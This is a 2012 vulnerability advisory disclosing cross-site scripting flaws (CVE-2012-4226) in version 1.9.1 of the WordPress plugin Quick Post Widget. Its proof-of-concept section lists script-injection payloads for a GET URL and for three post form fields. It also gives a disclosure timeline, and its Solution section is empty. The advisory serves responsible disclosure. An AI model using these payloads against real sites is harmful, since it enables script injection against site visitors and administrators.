WordPress Quick Post Widget 1.9.1 Cross Site Scripting

`Advisory: WordPress Plugin 'Quick Post Widget' 1.9.1 Multiple Cross-site scripting vulnerabilities  
Advisory ID: SSCHADV2012-016  
Author: Stefan Schurtz  
Affected Software: Successfully tested on Quick Post Widget 1.9.1  
Vendor URL: http://qpw.famvanakkeren.nl/  
Vendor Status: informed  
CVE-ID: CVE-2012-4226  
  
==========================  
Vulnerability Description  
==========================  
  
The WordPress plugin Quick Post Widget 1.9.1 is prone to multiple XSS vulnerabilities  
  
==================  
PoC-Exploit  
==================  
  
// GET  
http://[target]/wordpress/?"></script><script>alert(/xss/)</script>  
  
// POST   
http://[target]/wordpress/ -> Quickpost 'Title' -> "></script><script>alert(/xss/)</script>  
http://[target]/wordpress/ -> Quickpost 'Content' -> "></script><script>alert(/xss/)</script>  
http://[target]/wordpress/ -> Quickpost 'New category' -> "></script><script>alert(/xss/)</script>  
  
=========  
Solution  
=========  
  
-  
  
====================  
Disclosure Timeline  
====================  
  
02-Jul-2012 - developer informed  
09-Jul-2012 - developer feedback  
10-Aug-2012 - post on BugTraq  
  
========  
Credits  
========  
  
Vulnerabilities found and advisory written by Stefan Schurtz.  
  
===========  
References  
===========  
  
http://www.darksecurity.de/advisories/2012/SSCHADV2012-016.txt  
`